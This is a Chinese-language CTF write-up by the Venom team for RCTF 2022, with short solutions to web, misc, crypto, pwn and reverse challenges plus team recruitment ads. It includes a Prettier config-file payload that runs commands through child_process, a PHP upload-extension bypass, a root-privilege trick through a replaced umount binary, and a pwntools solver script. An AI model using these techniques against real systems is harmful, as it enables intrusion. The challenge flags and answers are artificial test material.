招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
Web
filechecker_mini
解题思路
RCTF{Just_A_5mall_Tr1ck_mini1i1i1__Fl4g_Y0u_gOtt777!!!}
easy_upload
解题思路
属于是上车了,骑马上去看到的别人的姿势,后缀比较简单, pHp大小写即可绕过
PrettierOnline
解题思路
Configuration File · Prettier https://prettier.io/docs/en/configuration.html
-
A “prettier” key in your package.json file. -
A .prettierrc file written in JSON or YAML. -
A .prettierrc.json, .prettierrc.yml, .prettierrc.yaml, or .prettierrc.json5 file. -
A .prettierrc.js, .prettierrc.cjs, prettier.config.js, or prettier.config.cjs file that exports an object using module.exports. -
A .prettierrc.toml file.
use .prettierrc as YAML and insert js code
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
parser: ".prettierrc"
d: var load = global.process.mainModule.constructor._load
a: function exec(cmd){return load('child_process').execSync(cmd).toString()}
b: var flag = exec("/readflag")
p1: function babel(text, parsers, opts = {}) {return text+flag};
p2: module.exports=babel
load custom parser to run evil code
RCTF{pReTtiErRc.yAmL.iS.fUnnY}
filechecker_plus
解题思路
应该是别人打通了 上车了 直接看到flag了
Misc
Checkin
解题思路
ez_alient
解题思路
在alien.bmp的结尾发现base64,解码得到压缩包密码
pwd=”N0bOdy_l0ves_Me”
查看解压出来的文件特征可知这是一个Windows可执行文件,修改后缀为exe
解包并反编译pyc可以在alien_invasion类中看见部分flag
并且在其他部分的源码中发现了另外部分的flag
调整位置可以得到flag
RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}
K999
解题思路
function to8(n)
return n % 256
end
function bxor(a, b)
local p = 0
local i = 0
for i = 0, 7, 1 do
p = p + 2 ^ i * ((a % 2 + b % 2) % 2)
a = math.floor(a / 2)
b = math.floor(b / 2)
if a == 0 and b == 0 then break end
end
return p
end
function encrypt(v, k)
local sum = 0
local delta = 0x37
local i = 0
for i = 1, 8, 1 do
sum = to8(sum + delta)
v[1] = to8(v[1] + to8(bxor(bxor(to8((v[2] * 16) + k[1]), to8(v[2] + sum)), to8(math.floor(v[2] / 32) + k[2]))))
v[2] = to8(v[2] + to8(bxor(bxor(to8((v[1] * 16) + k[3]), to8(v[1] + sum)), to8(math.floor(v[1] / 32) + k[4]))))
end
end
function decrypt(v, k)
local sum = 0xB8
local delta = 0x37
local i = 0
for i = 1, 8, 1 do
v[2] = to8(v[2] - to8(bxor(bxor(to8((v[1] * 16) + k[3]), to8(v[1] + sum)), to8(math.floor(v[1] / 32) + k[4]))))
v[1] = to8(v[1] - to8(bxor(bxor(to8((v[2] * 16) + k[1]), to8(v[2] + sum)), to8(math.floor(v[2] / 32) + k[2]))))
sum = sum - delta
end
end
function passGen()
local pw = ""
local j
for i = 1, 4, 1 do
j = math.random(33, 126)
if j == 96 then pw = pw .. "_"
else pw = pw .. string.char(j) end
end
return pw
end
function strDecrypt(s, k)
local b = {}
local c = {}
local i
local j
j = string.gmatch(k, ".")
b = { string.byte(j()), string.byte(j()), string.byte(j()), string.byte(j()) }
j = ""
for i = 1, string.len(s) / 2, 1 do
c = { string.byte(string.sub(s, i * 2 - 1, i * 2 - 1)), string.byte(string.sub(s, i * 2, i * 2)) }
decrypt(c, b)
j = j .. string.char(c[1])
if c[2] == 0 then break end
j = j .. string.char(c[2])
end
return j
end
function Decrypt()
local key = "MOON"
local s = {157,89,215,46,13,189,237,23,241,49,84,146,248,150,138,183,119,52,34,174,146,132,225,192,5,220,221,176,184,218,19,87,249,122}
flag = ""
for i = 1, #s, 1 do
flag = flag .. string.char(s[i])
end
flag = strDecrypt(flag, key)
print(flag)
end
Decrypt()
ezPVZ
解题思路
一个Win32的植物大战僵尸,gamelevel、gamelevel2、gamelevel3里存储了当前阳光,植物是否点亮、植物需要的阳光等状态,class vftable里面有购买植物时触发的时间,用IDA pro或者x64dbg下断点来修改游戏信息即可。
Crypto
guess
解题思路
非预期了,因为chaos加起来太小了,整除可以消除影响
from pwn import *
from Crypto.Util.number import *
a=remote("190.92.234.114",23334)
l=a.recvline().split(b'=')[1]
b=a.recvline().split(b'=')[1]
d=b[2:-2].split(b',')
c=a.recvline().split(b'=')[1]
e=c[2:-2].split(b',')
T=[]
U=[]
for i in range(len(d)):
T.append(int(d[i]))
U.append(int(e[i]))
x = 0
y=0
for i in range(len(T)):
x += U[i]
y+=T[i]
x = x // y
x=long_to_bytes(x)
#print(x)
m=sorted('rctf_')
s=''
for i in range(len(m)):
s+=m[i]
x = x[:15]+s.encode()
x= bytes_to_long(x)
a.sendlineafter(b"x = ",str(x).encode())
a.interactive()
Pwn
game
解题思路
/bin目录的owner是ctf用户
将umount的内容换成cat /flag,执行exit后就会以root身份执行cat /flag
Reverse
CheckYourKey
解题思路
检测逻辑位于so文件中,字符串有加密,通过交叉引用找到解密解密代码。位于init_array 输入之后进行base58,最后进行变表base64和eRRqdUxQWENUbWVmbTZtZlg4bmFxQg比较 但是解出来不对,怀疑JNI_OnLoad肯定有问题,于是找到动态注册 动态注册的函数只有比对数据不同,并且多了一个函数的转换,后两步相同 所以先完成后两步逆向
然后发现那个转换就是AES,直接解
import base64
from Crypto.Cipher import AES
r=b'SVTsfWzSYGPWdYXodVbvbni6doHzSi=='
b64_tab=b'+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD'
b58_tab=b'rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz'
r=b'x49x67xebx32x9dx05x61xdaxdbx07xd7x5axb9x01xb2x46'
b_0x41140=b'goodlucksmartman'
aes=AES.new(b_0x41140,AES.MODE_ECB)
aes.decrypt(r)
flag{rtyhgf!@#$}
Huowang
解题思路
这是一个迷宫题,迷宫存在多个可解路径,其中一条路径为正确输入(取决于第二个指标),一共有两个指标判断是否为正确flag。
第一个指标是判断该路径是否可以到达出口。由于迷宫路径解有限,所以第二个指标的相关代码懒得看了,直接爆破路径,最后爆出286条路径可达。经验证,正确输入为“sssddwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds”。
RCTF{e1f9e3d166dcec5ecff3a2c5fbdeab3b}
– END –
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):2022RCTF WriteUp by Venom